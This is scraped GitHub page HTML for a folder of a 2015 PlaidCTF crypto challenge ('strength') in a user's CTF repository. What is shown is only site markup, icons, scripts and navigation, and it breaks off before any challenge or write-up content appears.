0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctfs/2015/4/plaidctf/crypto/strength at master · everping/ctfs · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="CEEC:68DA:20CB2A75:21C89907:641229BA" data-pjax-transient="true"/><meta name="html-safe-nonce" content="9ec4dffcb605c4a1f08fa2ddd4f9d605056ddd956605b40ee08ca90bc9d8d4ee" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRUVDOjY4REE6MjBDQjJBNzU6MjFDODk5MDc6NjQxMjI5QkEiLCJ2aXNpdG9yX2lkIjoiNTcwMzIyMTY3ODg2NTI2MzAzNCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="0511683ca93731d2c7f8e51838aa504a1217c647d50db04c41740a279d2a7ee0" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:34235949" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to everping/ctfs development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/53fabb55b3718897d948037006648055519e6515ddacf54ae5a3ef1d24abeb4d/everping/ctfs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfs/2015/4/plaidctf/crypto/strength at master · everping/ctfs" /><meta name="twitter:description" content="Contribute to everping/ctfs development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/53fabb55b3718897d948037006648055519e6515ddacf54ae5a3ef1d24abeb4d/everping/ctfs" /><meta property="og:image:alt" content="Contribute to everping/ctfs development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfs/2015/4/plaidctf/crypto/strength at master · everping/ctfs" /><meta property="og:url" content="https://github.com/everping/ctfs" /><meta property="og:description" content="Contribute to everping/ctfs development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/everping/ctfs git https://github.com/everping/ctfs.git"> <meta name="octolytics-dimension-user_id" content="5586195" /><meta name="octolytics-dimension-user_login" content="everping" /><meta name="octolytics-dimension-repository_id" content="34235949" /><meta name="octolytics-dimension-repository_nwo" content="everping/ctfs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="34235949" /><meta name="octolytics-dimension-repository_network_root_nwo" content="everping/ctfs" /> <link rel="canonical" href="https://github.com/everping/ctfs/tree/master/2015/4/plaidctf/crypto/strength" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" 